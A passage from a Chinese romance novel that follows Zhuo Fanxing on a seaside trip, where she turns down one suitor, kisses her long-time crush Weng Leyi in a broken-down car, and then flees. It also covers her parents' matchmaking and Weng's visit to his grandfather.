两相打招呼,卓繁星感觉那个叫苏苏的姑娘,眼神有点奇怪,含着隐隐的敌意。她不确定自己是不是多想了,毕竟她们第一次见,这敌意实在莫名其妙。 叫凯文的男人说:“洪旺什么时候到?” “说要带个朋友过来,我出发的时候,他说去接人。” “那估计吃晚饭的时候来。听说是众鑫的太子爷”他抽着烟,眼神里有些隐隐的玩味。“腿不好。” “前两年在国外出的车祸。”钱琦正无所谓地应他,翘着二郎腿,撑着椅子的手臂张开,目光落在远处的卓繁星上。“他们这种含着金汤匙出生的,断条腿算什么,只要脑子没坏,那就这个。” 他比了个天,嗤笑一声,一下站起来,往卓繁星那儿去。 “美女们要不要拍照?” 苏苏怼道:“你的技术拉倒吧。” 邵丽丽头一个把手机拿给他:“那就拜托钱少啦。记得把我腿拍长点儿。” 她穿了件连体的工装裤,配上一条豹纹丝巾,工装裤的休闲与豹纹的女性感中和,显得既时髦又俏皮。不得不说做平面模特的,审美真的很好,卓繁星今天一看见她就眼前一亮。 她凑到她跟前装道:“那有什么办法,人家既不能抢了你的风头,又不想穿的和丫鬟一样,只能费劲心思想办法了呀。” 卓繁星无语。“你大可以穿的更好看一点,我不介意你把他拿下。” 邵丽丽转了一圈眼珠。“说实话我倒是有这个意思,可是强扭的瓜不甜,人家分明对我没有意思,我一双媚眼是抛给瞎子看。罢了,罢了。” 卓繁星看着她优雅地喷香水,不得不承认她身上有种可爱之处,是一种旺盛的生命力,叫卓繁星很羡慕很喜欢。 如今邵丽丽摆弄了几个姿势后,很快收获了苏苏数枚白眼。她在女人堆里浸淫多年,像是身上装了雷达,对卓繁星提醒道:“那小姑娘喜欢钱琦正啊。啧啧,我是替你挡灾咯,她嫉妒错人啦,钱琦正看上的又不是我。” “他也是,要追你还把这个小姑娘带来,弄不清的。这种男人就是这样,外面花边多的。” “你又不是我,我是无所谓的咯。现在你更看不上了吧。不过么,他这幅样貌,这个条件,有小姑娘追也是正常的,你也不要这么快下决定。” 卓繁星被她咬耳朵,见她说的越发不着边,拿银勺子刮了一块蛋糕塞住她。 “哎呦,我不吃,要发胖的呀。” 她诚实地又插了一勺。 远处一辆轿跑开进来。那边被苏苏叫去拍照的钱琦正走过去,车门打开,先是一个娃娃脸男生从驾驶位出来。 邵丽丽叼着勺子,脖子伸的老长,推她:“又来两个帅哥。” 卓繁星失笑,很快那笑就凝在唇边。 另一边的男人走出来,高瘦的身影,高挺的鼻梁。他摘下墨镜,被光照的眯了下眼睛,皱眉看过来。 “极品啊。” 卓繁星听着耳边的感叹,人都僵住了。 他走近了,一件高领黑灰粗毛线毛衣,看起来很厚实。他好像一直就很喜欢这样的衣服,天冷了,可以将领子翻上去,遮住半张脸。不过么,今天估计还是有点热,卓繁星是这样想的。 他当然看见卓繁星了,可是目光一触即分,两人都没有说认识对方。 简单坐了一会儿,或许钱琦正终于想起来他今天来的目的是什么了,主动对卓繁星说:“那边有步道,旁边有很多芒草,挺漂亮的,我带你去看看。” 卓繁星傻乎乎地没开口。他把她的椅子拽过来,以一个亲密旁人又能听见的声音说:“我开车带你去。” “噢。邵丽丽去看芒草。”卓繁星去拉身边的人。 邵丽丽显然毫无心思,她笑的和花一样坐在洪旺边上。 “啊?” “去看芒草。” “你自己去吧宝,让钱少陪你去。” 卓繁星慌乱的眼睛扫过对面的翁乐仪,他一只手抵在桌上,低垂着眼似乎在听他们交谈。 卓繁星方才尝试对他笑一下,可刚对上视线,他就转开脸,仿佛他们真的不认识。 “走吧。”钱琦正拿起她的外套。 车子启动,大G嚣张地消失在公路尽头。 “你朋友叫什么?也是平面模特?”洪旺问。 邵丽丽说:“她是舞蹈老师啦。怎么?你对我朋友感兴趣啊。”她似真似假地嗔道:“追她要排队哦。” 洪旺笑的眼睛弯弯,也是半真半假地回道:“我对你更感兴趣。追你要排队吗?” 邵丽丽心里呵呵两声男人,俏皮道:“当然啦。” 第25章 ◎第四面(四)◎ 他们两个打情骂俏,丝毫没有注意到旁边人的黑脸。 因为蒋凌洲的缘故,(尽管卓繁星不愿意承认他对她影响这样大,可事实就是如此。)卓繁星于异性相处陌生中时刻又带着防备,尤其知道钱琦正的心思,更叫她难以放松下来。 钱琦正说:“我今天主要想约你出来玩。” 他有些羞赧地看了一眼卓繁星。 为什么说有些呢,卓繁星总觉得他并非这样的人,似乎还是游刃有余多一些。她尽管处理这样的情况缺乏经验,可女性的敏感也叫她多多少少感知到一些。这人绝非他看起来那样单纯,起码比起赵医生,他要有经验的多。 她于对视的一眼中保持沉默。 钱琦正等不来她的回应,失笑道:“我发现你还和以前一样。” “哪样?”卓繁星疑惑。 “那时在剧组我们都说你是冷美人。” 卓繁星讶异地看向他,并不觉得被夸奖了,反而有种被谈论的不适感。 尽管女生宿舍夜话也不可避免地会对男生进行讨论,可原谅她青春期时就一直陷入某种奇怪的比较中,她对这些背后的讨论非常敏感和不舒服。 “你不知道?我们都说你高冷,和神雕里面的小龙女一样。” 卓繁星不觉得有什么可高兴的。钱琦正说:“你和Arhur——”他适时的顿了顿。“你们后来是分手了?” “我们没在一起过。”卓繁星有些生硬地回道。 “啊?”钱琦正诧异地挑了挑眉。“抱歉。”他刮了刮眉梢。“我们那时候都知道他喜欢你,他很出挑,你懂的——” 她懂什么?如果说先前对钱琦正还只是略显油腻的评价的话,那么现在卓繁星发誓,她不可能对这个人有任何的好感。他怎么做到每一句话都踩中她的雷点的。 她不知道是不是自己太过敏感。可她明显从他的语气中听出来许多试探,与一种征服的意味。 他好像觉得他如今在追一个曾经他不敢追的人,这个人和蒋凌洲有某些联系,放在以前,他是不敢的。多么好笑。 卓繁星只期盼时间能过的快一点,他能够察觉出她的冷淡,不要再说任何话了。 步道两旁,漫山的芒草被日光染成金色,指尖撩过,有些毛茸茸的温暖触感。 为什么好像生气了呢? 卓繁星看着漫山遍野随风而动的芒草好像看到了自己的心,不安定地飘在空中,随时被搅动的乱七八糟。 明明在京市的时候都很好。在旗袍店碰见时彬彬有礼,他们还聊了一会儿。 “卓繁星。” 卓繁星转过头,或许是沉默太久,钱琦正终于有些忍不住了。“我之后能约你吗?”他走到她边上,撑着木栏杆问她。 卓繁星说:“我们还是做朋友吧。” 钱琦正的眉头动了下。“这么直接么?你还不了解我。” 卓繁星抿着唇,想说我了解我自己。如果说赵医生让她曾有过短暂地动摇,那他身上显然连这一丝都没有。她不想浪费彼此的时间。 可是这样的话说出来叫人觉得难堪,毕竟钱琦正不知道自己方才讲的话让她不舒服。 他或许是无意的。 卓繁星在怒气过去后找回理智。说起来,他们只是陌生人呀。他怎么会知道她介意这些话呢。 自然这样的原因也一并不必说给他听。她不想解释再解释,这样会浪费很多口水和时间的。 然而,她的沉默让钱琦正认为是内敛和羞涩。 “先别急着拒绝我,我其实一直就很喜欢你。那时候在剧组里面就对你有点心动。”他挠了挠头。“总之,给个机会吧。” 卓繁星低下眼睛,撇撇嘴。给个机会吧。怎么听着像在求职。 反正就这一次,回去之后就不会再有联系啦。 太阳逐渐西去,他们折返回去的时候,咖啡馆已经沐浴在夕阳下。精心布置的灯光亮起,远处墨蓝色的海水让此处像是一座漂泊的岛屿。 “我们晚上吃烧烤。”钱琦正下车前这样和她讲。“今天天好,晚上星星肯定特别多。” 邵丽丽一把将卓繁星扯过去,美其名曰拍照。“怎么样?怎么样?”她八卦的眼睛闪着光。 “不怎么样。” “他和你告白了?” 卓繁星没讲,邵丽丽说:“你没答应。切,正常啊,头一次约你出来,怎么可能就追上。” 她换了个姿势,背靠平台,海风将她的长发吹起,时不时落在豹纹丝巾上,锁骨若隐若现,有种天然的性感。 卓繁星问:“你们怎么样?” “什么怎么样?” “下午干什么了?” 邵丽丽开心地眨了下眼睛。“那个叫洪旺的帅哥很会聊,还有一个么,好像姓翁,高冷,跟你一样。”她下了判断。“不过腿好像不太好。” “那个苏苏呀,你不知道你们走之后,她脸臭的和什么一样。另外一个妹子一直在安慰她,搞得我不是人一样。我只能和帅哥聊天了呀。” 她四下看看,没有看见苏苏,目光又落在卓繁星脸上,欣赏了一下她漂亮的脸。 卓繁星被她看的奇怪,问:“干嘛?” 她啧啧两声。“还是纯天然的好看,她跟你比都不好比的呀。” 卓繁星说:“不要雌竞。” 她一下笑出来,撇清道:“我又没有对她有敌意哦,是她先针对我的呀。还好你对钱琦正没意思,不然估计要伤心咯。那个女的不是省油的灯啦。”她很有经验的总结道。 远处的云层逐渐变为深蓝,仿佛电影散场一般,天空中最后一丝熹微的光芒也慢慢退去。 平台上放着舒缓的音乐,远处的海浪仿佛成了和声。几个男人拿着啤酒点着烟,互相交谈。 不得不承认,这几人身材样貌都很不错,比那日会所里排成排的男士也不遑多让。 邵丽丽揽着卓繁星的肩膀感叹道:“还不错了对吧,这个身材这个脸,算是高质量男性了吧。哎,今天好几个小妹妹来要微信,要不是腿瘸了,这得有多完美——哎——” 卓繁星拿起邵丽丽的橙汁喝了一口。 “我兑了酒啦。” 卓繁星捂着嘴,眼神控诉,你这个提醒也来的太慢了。 “拜托,这种场合喝什么橙汁啦。”她笑她。“要不要给你拿瓶水?” “我自己去。” 高度的甜酒让脸一下热起来,卓繁星感觉人有些轻飘飘的,手贴一下脸果然是烫的。她本来就没有什么酒量,又容易上脸,幸好没有什么酒精过敏的毛病,不然真是要死。 她喝了一口水,慢吞吞挪到烧烤架前。 翁乐仪这时的厚毛衣就很有安全感了,他不动声色的时候,下巴整个埋在领子里,十分温暖。整个人仿佛浸在墨蓝色的幕布里,尽管咖啡厅挂着灯条,不远处的篝火也在燃烧,却仿佛天然被隔绝开,使他有种天然的忧郁和冷淡。 卓繁星被他黑玻璃一样的眼睛攫住,颤颤地发出声音。“要帮忙吗?” 她不知道自己的眼睛水汪汪的,翁乐仪插在裤袋里的手动了动,抽出来把架子上的食材翻了一下。 “不用。你去拍照吧。” “我拍过了。”她看了一眼挤满了人的平台边缘。“我帮你吧。”她把矿泉水放下,去拿铁签子。 翁乐仪皱着眉还没开口,她就被烫了一下。 好了,这下水汪汪变湿漉漉了。 “烫到哪儿了?”翁乐仪拽过她的手,确认了问题不大,拿过自己放在一旁的冰啤酒盖在她手上。 “这里不需要你帮忙。” 卓繁星积了一肚子的委屈和不解,在这冷冷的声音里被堵在了喉咙里,像水蒸气一样凝结成了雨,又落回地上。 “不好意思。” 翁乐仪看着她抽走的手,心里越发奇怪。 这之后的烧烤夜景闲聊都味同嚼蜡,让人忍不住出神发呆。 去酒店的路上,洪旺说:“你认识那姑娘?” “谁?”翁乐仪看着窗外心不在焉。 “短头发的那个。吃饭前我看你和她在聊天好像。” 翁乐仪说:“她问我要不要帮忙。” 洪旺笑出来。“钱琦正在追她哎。” “所以?” “她对你有意思。” 翁乐仪这才转头扔了个白眼给他。“她只是想试试自己烤。” “好吧,好吧。”洪旺摆手。“不过钱琦正也有意思,他和另外一个女的在接吻。” 翁乐仪的眉头狠狠皱了起来。 第26章 ◎第四面(五)◎ 卓繁星因为多吃的一口酒,整个晚上都是迟钝的。好在一群人吃了烧烤,围着篝火看星星,也没有其他事。 这一夜睡得很香,沉沉的,没有什么梦。再醒过来邵丽丽在边上睡得正香,时间才六点,天还只有蒙蒙亮。 外面的露台正对大海,一声又一声的海浪声,规律而安谧,昨天就是听着这样的声音入睡的吧。天然的白噪音真的能治愈焦虑。 卓繁星感觉自己的心情又变好了,像黎明拂走阴霾的晨光。 她穿上鞋子披上外套,走了出去,海边空荡荡,适合一个人的漫步。 “你——”她听见声音转过头。 早上的风很大,将头发吹得乱七八糟。翁乐仪匆匆穿了一件灰色的风衣,风衣的领口时不时被吹起来,有些俏皮地抚过他的下颚,一下又一下。 他还没刮胡子,较之昨日,有些落拓的美感。 “早。”卓繁星收拾好心情,同他问好。 翁乐仪追上来时不过是觉得自己该来,有话要讲,可真到了跟前,又觉得无比的突兀。这让他难以开口,觉得有种无法排解的仓皇感。 “早。”他低头颔首,下巴埋进拉链拉到顶端的套头衫里。 两人静静站了一会儿,卓繁星由先前淡淡的紧张转而平静。 这样的清晨令她想起多年前日本的清晨。 她还记得那样清楚,不知道他呢? 她不由自主地转头看他,在他看过来时,捋了捋被吹乱的头发——回去该剪头发了,她想。现在正是半长不短,最尴尬的时候。 昨日的不解和委屈又卷土重来,可她要开口要个答案吗? 显然没这个必要。 她想到多年前,在那家小酒馆门口。她至今记忆犹新,因为那是一家特别漂亮的酒馆,没有招牌,门口奶白色的墙面上围绕着紫色的花束,从外面看像一家温暖的面包店。要通过向下的楼梯,走到地下,才知道另有乾坤。 他们刚刚看完一场爵士演出。这是他们第一次同小苑徐謇分开行动。她手里还拿着他来看校庆表演,送她的花。 “回去吧。” 她被他骤然冷淡的样子弄得迷惑且慌乱,喝了一晚上的气泡水像是在肚子里也打起了泡泡。 “我”她咬着唇。小苑分开前握着爪子说今天就拿下他!刚把爹!那个样子还在眼前。 面前的人不耐烦地捋了下头发,视线追着开过去的一辆出租车,又转回来看她。 卓繁星将告白的话吞回肚子里。 下次吧,还是下次再讲吧。今天毕竟已经很晚了呀。 “嗯,回去吧。”她这样讲。 这一晃就是许多年。卓繁星悄悄叹了口气。 “我先回去了。”她突然不想再和他呆在一起了,不想再去猜他的心思,他昨天为什么那样。都与她无关。她要走了。 翁乐仪跟上来,他的黑色裤子被风吹得贴住,能让人清晰地知道那条腿是假的。 “那个钱琦正——是个花花公子。”他顿了顿,不大自然地开口:“你别和他走太近。” 卓繁星说:“我没和他走近。” “你们不是一道来的?”翁乐仪特别不习惯这样的对话。“我就是提醒你。” 卓繁星突然就觉得恼怒,夹杂着昨天的委屈,让她控制不住。她随意地哦了一声,说:“他在追我。” 翁乐仪的眼睛眯了一下,他们两个像是两只针锋相对的动物。 “他和昨天来的其中一个姑娘很暧昧。洪旺看见他们在接吻——” “所以呢?” “我只是提醒你。” “好的,谢谢。我知道了。”卓繁星插着口袋点点头。“我先回去了。” 这场不欢而散就像岸边一下又一下海浪,打过来后又毫无痕迹。 邵丽丽醒来后已近中午。钱琦正提议去柑橘园。卓繁星无不可的答应了。她不想呆在酒店里发呆,这样会让她情绪更坏。 翁乐仪没有同行或许是个好消息。不过他们似乎本来就不是特别熟悉,好像叫洪旺的那个人和钱琦正比较熟。 洪旺说他不去,钱琦正表示理解。“他腿脚不太好嘛。” 卓繁星的心情更坏了。这导致她上了车后就开始闭眼睡觉,丝毫不想理会他的搭讪。 这日午后,翁乐仪在露台闲坐。他不觉得被“撇下”有什么不好,反而是这样安静的时候能让他缕一缕自己的思绪。 他带上耳机,翻过几页书,直到睡意来临。 过了一个钟头或者两个钟头,旁边的房间传来笑声,他拿下脸上的书,坐起来。 隔壁是洪旺的房间。他很快带着卓繁星一起来的那个朋友出现了。 “你们回来了?”外面的天很蓝,像油画一样。翁乐仪眨了下眼睛,被饱和度太高的颜色有些刺到。 洪旺说:“我们两个先回来了。” 翁乐仪哦了一声,目光落在邵丽丽身上。她今日穿了件白色长裙,脖子上围了一条红色针织衫,十分亮眼。 邵丽丽被他看的心慌片刻,这于她实在难得,大概是觉得他太过正经,而她面对这样的人恰恰最缺乏经验。 她没话找话般地开口。“柑橘园也没什么意思,太晒啦,我们就回来了。繁星去镇上了,那边有条风情街,不过我估计就是那点名堂,给游客看的啦。” 洪旺问他要不要下去喝一杯,翁乐仪拒绝了。他看出来他们之间有些暧昧,他不想打搅他们。 他问他借了车开出去,没听见洪旺和邵丽丽的话。他们两个站在露台上看见车子灵活地开走,邵丽丽忍不住讲:“他这个腿好开车吗?” 洪旺笑喷。“冷知识,开车只需要一条腿。” 邵丽丽哈哈大笑。“那我不是担心么。” “你担心他不如担心我。” “我担心你什么?” 两人对视一眼,不肖说,气氛逐渐暧昧。 卓繁星在一家书咖徘徊良久,不过是消磨时光。不知是不是因为昨日的冷淡消耗掉了钱琦正的一点耐心,还是苏苏姑娘太过厉害,他明显对她冷淡了许多。 从柑橘园出来,卓繁星便以昨日没有休息好为借口,没有同她们再去山上徒步,而是同洪旺邵丽丽一起离开,并在途中贴心的叫他们把她放下就好。 她点了一份咖啡套餐坐在窗边,在欣赏够了沿街的风景后开始被太阳照的昏昏欲睡。 哎,该回酒店的。 她只是怕遇上翁乐仪。早上的争执实在毫无必要,她现在回想起来就觉得尴尬。 一辆黑色的轿车停在路边,卓繁星快要闭上的眼睛看见驾驶位上的窗户落下,然后露出那张令她避之不及的脸。 卓繁星上了车,成年人本就不必要闹别扭。而他们显然是心智成熟,心态稳定的那类成年人。 只是忽略掉那些尴尬的寒暄和沉默的话,他们勉强算得上处理的十分自然。 翁乐仪表示她的朋友邵丽丽已经同他的朋友洪旺回到了酒店。 卓繁星点头,表示知道。好像他们是他们两个的家长一样,其实毫无必要对不对。 卓繁星说这条街很无聊,她已经逛过了,除了咖啡店就是装成咖啡店的各类店。 他们的对话在这里戛然而止,毕竟谁都不会没眼色的去提早上的事。 就让它过去吧。他们都这样想。 车子趴窝的时候,卓繁星是懵的。 “怎么了?” 翁乐仪也不明白,试图再启动也没有反应。 他按下双闪,下车去检查,卓繁星跟下去看,似乎是发动机熄火。 翁乐仪将后备箱里的警示牌拿出来,放在车后。拨给洪旺的电话没有接通,他对卓繁星说:“上车等吧,我联系人来。” 两个人坐在车里,这时是真的无所事事,在翁乐仪拨通完处理的电话后更是十足的安静。 卓繁星说:“还好这条路没什么车。” 他嗯了一声,看着窗外,两只手随意交叉着放在身前。 直到他突然地转过来,卓繁星才立即扭过身子。 “要吃橘子吗?我今天去柑橘园摘的。”卓繁星翻出帆布袋里放着的一只份量很重的橘子。它黄灿灿的,像是为破冰而生的。 卓繁星没有剥皮就将它一分为二,塞给身边的人。 柑橘的气味瞬间弥漫整个空间,清新中带着微苦的味道,与口腔里的酸甜产生一种奇怪的化学反应。 “还挺甜的,早知道多拿几个。” 她为自己的没话找话汗颜。短暂的橘子分享时光很快过去,如果这时候嘴巴不能用于咀嚼,又不能讲话,那只能留下尴尬。 没办法,他们还不习惯独处。是说他们两个单独相处。卓繁星的心雀跃又不安的跳动,她想告诉它别这样,高兴之后就是失落,甚至因为落差太大,而愈发难受。 她又陷入迷茫中,仿佛方才吃进口的橘子一样。 她想问自己,为何同翁乐仪在一起总是这样,在感到甜丝丝的同时还有无尽的酸,就不能是纯甜的么。 有人会说这就是橘子好吃的地方呀,这样才显出它的新鲜来。 卓繁星说不,她只想吃甜的橘子。 早上不是下定决心不在同他一起的么,她不要再吃他这个橘子了,她明明可以试试其他的橘子。 车窗上映出人影,卓繁星与他对视着,良久,良久道路上突然疾驰过数辆摩托车,轰鸣的声音响彻耳畔。 解开安全带的声音突兀而又清晰,在又恢复安静的车内空间中。 (原谅桌繁星良好的乘车习惯,她一上车就习惯系好安全带。) 这一声莫名比摩托车的轰鸣还要惊人,像是骤然扔进湖里的石头,叫人觉得不安。 翁乐仪已经去寻车门开关,就在他摸到的瞬间,身体被一股力量拉扯过去。 她靠近吻住了他。 卓繁星被折磨太久了,她又想到那个说不出喜欢他的夜晚,她明明捧着他送的花,却没有一个好结局。她喜欢他那么多年了,她总要有些回忆吧。 她不是小孩子了,她想要一些成年人的回忆,让她在日后即便嫁给他人,还是孤身一人,都有可怀念的东西。 她的吻在气势汹汹后很快落下来,翁乐仪感觉到嘴唇上的温度,软度,在初初的一吻后,又贴上来吮了一口。那是下唇肌肉配合着撅起才有的动作。 感受在理智之前就占据了他的大脑,他几乎只停顿了一秒就抱紧她,加深了这个吻。 卓繁星的手将他的头发揉乱,他们共享着橘子的味道,其实都是同一只橘子,应该没什么不同对不对。可是为什么好像就是不一样。 卓繁星被压在座位上时,短暂的分离让两人看清彼此的眼睛。 翁乐仪粗重的呼吸喷在她脸上,她的手还陷在他头发里——他有一头小卷毛啊。他刚刚的鼻子顶在她脸上,真的很高很挺,原来是这样的感觉。 她想被那只鼻子压着。 稀里糊涂又亲到一起去。 第27章 ◎她逃他追(一)◎ 手机突然震动,两个人像受惊一样分开。 翁乐仪弯下腰捡起脚边的手机——是洪旺的来电。他喘了口气,接通。 “对,我叫人过来了。”翁乐仪低着头,只能借着余光去看身边的人。洪旺似乎又说了些什么,也听不清。 “好,我定位发你。” 翁乐仪挂了电话,两人眼神一触即分。“洪旺让酒店的人过来接我们,车子交给他们就行。” 卓繁星嗯了一声。 之后便再无交谈。卓繁星感谢翁乐仪突然忙碌起来的手机,让他们避免许多尴尬。回去的时候,两人各自看着窗外,连眼神的交汇都尽量避免。 因为是一起回去的,邵丽丽打量地看着他们,把卓繁星扯到一边就问:“什么情况?” “路上碰到了。” “就这样?”邵丽丽不大相信。 “就这样。” 邵丽丽大胆猜测:“我觉得他是故意去找你的。” 卓繁星没什么心思与她聊下去,更怕聊的越多暴露越多。她觉得自己非常需要时间和空间去消化刚刚的事,所以打了个招呼便跑回了房间。 一到房间里,她就扑到床上,蓬松的被子包裹住她,她把自己埋进去。许久,嘤嘤呜呜的奇怪声音发出来,像是有什么动物钻在里面。她一下松开手,露出一张又红又烫的脸。 卓繁星看着天花板足足看了半分钟,随后缓缓伸手去摸自己的嘴唇——似乎还留有轻微的舔咬、拉扯的触感。 他们第一次接吻就很激烈。 与此同时翁乐仪也在被洪旺打趣。他撑着门框嬉笑着问他:“你,和那个美女,一起回来?” 翁乐仪说:“刚巧碰上。” “这么巧?” “你自己把脖子上的口红擦干净吧。”翁乐仪起身关门。 “微信加了没?要不要我帮你要来。”洪旺敲了两下门,见没动静走了。 翁乐仪闭着眼靠在墙上深呼吸,然而鼻子里似乎还有若有似无的橘子味。 他到卫生间洗了把脸,水珠从头发上落下,眼睛睫毛、到鼻子,嘴唇 他伸手摸着自己的嘴唇,狠狠捋了一下头发。 晚餐吃的自助,卓繁星没有下来。 洪旺问邵丽丽:“你朋友呢?” “她说她不饿,我等下问她要不要带点吃的。” 翁乐仪拿起酒杯喝了一口。钱琦正走过来,他们徒步回来都很累,他刚刚洗了澡下来。 “你们明天打算几点回去?” 邵丽丽说:“10点差不多吧。” 洪旺笑着说:“可以不用麻烦你,我送她们回去。” 钱琦正愣了下,目光在他和邵丽丽身上转了个来回,随即失笑。 “繁星呢?你和洪少走,我就带她回去吧。我来的时候车上可是两个美女,回去不能就孤家寡人了吧。” 邵丽丽嘻嘻笑了下。“那得问繁星的意思。” “她呢?”他才注意到。 邵丽丽也不想得罪他。“可能有点累了,你回来有问过她吗?” “我刚回来。”钱琦正有些心虚。“她不下来吃晚饭吗?” 邵丽丽嗯啊一声。“估计太累了。” “我去看下她。”他果断起身离开。 邵丽丽目送他远去,转个身的功夫翁乐仪拿下餐布,说:“你们吃,我吃好了。” 他推开玻璃门,走到平台上点了支烟。 远处就是海景,若非风太大,在室外的平台上用餐更有滋味。桌上的玻璃罩里点着白蜡烛,搭配的白玫瑰显得格外优雅。 邵丽丽说:“你朋友看起来有心事。” 洪旺目光望出去,笑了下,问她:“你朋友微信多少?” 晚上,翁乐仪回到房间,躺在阳台上的椅子上。他手里捏着一只餐厅里带回来的橘子,偶尔拿到鼻前嗅一嗅,漆黑的瞳孔注视着橘皮上的纹路,不知道想从里面看出什么来。 手机里洪旺发来信息:【帮你要来的,不用谢!】 翁乐仪把手机被扔到一边,骂了句脏话。 他其实在想她是不是后悔了。 不然为什么饭也不吃。 可明明是她主动的。 他想不通,翻过身闭上眼,脑袋抵着手臂,有些烦躁。 翁乐仪怀着复杂的心思入睡,第二天依旧早早醒了过来。他看了眼时间,第一反应就是打开窗帘——海滩上空无一人。 10点显得格外久,翁乐仪在用餐的时候仍旧没遇到卓繁星。在他拎着旅行包下来的时候,邵丽丽从电梯里出来了。 就她一个人。 “你朋友呢?”他装作不经意地开口。 “繁星昨天晚上就走了,好像有点事要赶回去。” 洪旺诧异。“她怎么回去的?” “打车。” “这么赶?” “嗯啊,估计是急事吧。” 原谅卓繁星逃了。她只是没办法面对这件事,在冷静下来之后。 翁乐仪会怎么想?而且还有这么多人在。她觉得自己没办法在这么多人面前装作什么事都没有发生过——她一举一动都笨拙地像是在让所有人都看过来。 然后翁乐仪会怎么想? 她好像闯祸了。 卓繁星看着微信里的红点,叹气。邵丽丽在卫生间看她,说:“那个姓翁的帅哥对你有意思,洪旺问我要你微信,你加了没?” 卓繁星含糊地点头。 “虽然腿有点问题,但是问题不大。钱琦正后来还找你没?” 卓繁星没回答,已经遁逃回房间了。 他加她微信,她要不要通过。明明之前令她那么雀跃的事,却令她为难。她怎么和他解释她主动亲他。她当然是喜欢他的,可是不知道为什么,如今却说不出口了。 不知道是心理压力太大,还是出去玩了一趟太累,卓繁星回来就感冒了。 翁乐仪在加微信没通过后,又打来了一通电话。卓繁星猜测是他的,因为从京市打来,她觉得大概率就是他。 他为什么不能当做没发生过呢。她晕乎乎的脑子埋怨道。 进而联想到他会如何想她。 毕竟她曾经对着他,和蒋凌洲告白。其实已经是很久以前的事了。 然后他是如何回应的。隔着电话都能感受到他的无语——她第一次从他声音里听出冷漠和气愤。像是面对一个神经病。对,他就是说她有病。 他现在估计也觉得她是个有病的人。 或许还要加上随便、饥渴、莫名其妙这些字眼。 她想到蒋凌洲警告她的那些话。“卓繁星,你以为你是谁?可以在我们兄弟之间耍这些把戏。你觉得自己能把我们玩弄于股掌之间?” 她叹气。退出微信。她真的不该冲动的。 日子一切如旧。邵丽丽问了两次后,发现她十分冷淡,以为没戏便不再问了。 不过她着实落了个眼光高的名声来。 “真不知道你喜欢什么样的。”她叹气。“那个钱琦正没再烦你了吧。” 卓繁星后知后觉。“回来那天发过消息,后来就没有了。” 邵丽丽说:“他们这种男人就是这样的,没耐心,所以没什么好可惜的。” “你和那个洪旺在谈?” “随便玩玩的啦。走一步看一步吧。”邵丽丽不知想到了什么,叉腰道:“放心啦,他是真的单身。其实你那个赵医生也不错,你要不要推给我?” “你急着结婚吗?”卓繁星问她。 她趴在楼梯扶手上。“其实我想要过富太太的生活,就是那种啥也不干只要买买买。” “那赵医生恐怕满足不了你。” “哎。”她悠长地叹了口气。“做人好难啊。我不要爱情,我只想要花不完的钱。” 卓繁星笑着说:“米兔。” 没几天,卓强和程霞来了市区,卓繁星带着他们到医院复查,卓强的身体基本上2-3个月就要做一次检查。他们特意做的早车,到的时候也不过七点多。两人身上穿的是上次她买回去的衣服,手里提了一个袋子,说是自己做的腊肠。 卓强看见她带着口罩,声音也有点哑,急匆匆问怎么了,是不是生病了?繁星摇头说没事,就是换季了有点着凉。他哦了两声,眼睛里挂着担心。等检查做完,卓繁星带他们到医院门口吃午饭,没想到碰上了齐帆。 他是抽空来医院看个朋友,打算随便吃点就回公司。 正是热闹的时候,快餐厅里没有空位,他端着盘子扫了一圈就看见了卓繁星他们。 卓繁星给卓强和程霞介绍,“是我学生的家长。” 卓强哦了一声,刚刚的热络劲顿时没了。 “多亏了卓老师帮忙,我工作忙,孩子调皮给她添了不少麻烦。” 卓强说应该的,应该的。 齐帆是从公司出来,穿了身西装,鼻梁上架着眼镜显得十分儒雅沉稳,年纪看着比实际的大,二老都以为他有三十多了。 四人位子,他坐在卓繁星边上,时不时递个纸巾,说两句话。 等吃完出了快餐厅,他提出要送,三人忙说不用。他也没多客气,跟繁星点了点头,再跟二老礼貌道了别便上车离去。 卓繁星给他们打了快车,车上,程霞就跟卓强说:“我瞧着那个人对咱们灿灿有意思。” 卓强愣了下,说他有孩子呢。 程霞说:“你没听他那话,家里就一个保姆,估计是离婚了吧。” 卓强应了一声没响 程霞推了推他,“发什么愣啊,我觉得人看着还不错。” 卓强抿了下嘴唇,讷讷道:“那,那就是二婚。” “二婚怎么了?都什么年代了。”程霞说:“灿灿那身体,平常人家多多少少肯定有点介意的,上次王姐那外甥你忘了?我看那个齐先生开的车是宝马,刚刚他接了个电话,我看他那副样子像是公司里的领导呢,经济条件肯定还行啊。再说,他那个女儿听他说起来也挺喜欢灿灿的。这样一想,我觉得还挺合适的,你说对吧?” 卓强低着头,半晌说:“得要灿灿喜欢。” 程霞翻了个白眼,她喜欢,你女儿眼睛长在头顶上呢,光她喜欢有什么用,人家得看的上她呀。她看着窗外头,闭嘴不讲了。 第28章 ◎她逃他追(二)◎ 翁乐仪去京市出差,顺道就回去看了眼爷爷。他进了门,柳姨迎出来,说家里有人拜访。 “谁啊?” “姓周,好像是翁叔的学生。”她接过他的风衣挂到衣架上,说:“你先歇会儿,我去给你下碗面。” 客厅里坐着一个身材中等的中年男人,老爷子看见他笑说:“我刚刚就说好像听见你声音了。这是你周叔叔,他这次回来开个研讨会,顺道过来看我。” 翁乐仪打了招呼,略坐了坐,客人便就告辞了。 翁乐仪将人送出去回转,问爷爷:“最近来的人很多?”到这儿来住就是图个清静,别人来人往的反倒更累人。 翁爷爷摆手说不多。“你周叔叔难得来一趟。”他问他:“这次怎么回来了?要呆多久?” 翁乐仪说出差,刚好就过来看看,明天还要去妈那边一趟。 翁爷爷知道。“她那别墅吧。” “是,重新修整了一下。” “她是会折腾的。这叫情趣。你爸就是缺点这个味道,不怪你妈嫌弃。”翁爷爷笑起来。“晚上就歇这儿吧,别跑了。” 翁乐仪点头答应了,等吃完面,坐到沙发上喝茶,就见老爷子带着老花镜,正翻着膝盖上的相簿。 “你看这张,当年周峰和你差不多大,从老家背了一袋土货到咱们家里来,你奶那个时候特别爱吃他送的番薯干。” 翁乐仪顺着他的手指看到那张老照片,在天安门广场上拍的,奶奶和一个年轻男人。他这才想起来,周峰是他奶奶资助的学生。 老爷子叹了口气,翻了几页相册,“一晃眼,你奶都走了好几年了。” 摊开的相册中是两人结婚时候的照片。 “你看你奶奶,年轻的时候多漂亮。”他指给他看,“其实当时还拍了别的,但她喜欢这张。”照片里他穿的是中山装,她穿的是件绣花旗袍,他坐着,她站着,一人严肃,一人带笑。 “其实我那是紧张的,但她嫌我不笑,拍完了还生气。”他说着就笑了:“爱折腾,不过心也软,一哄就哄回来了。” 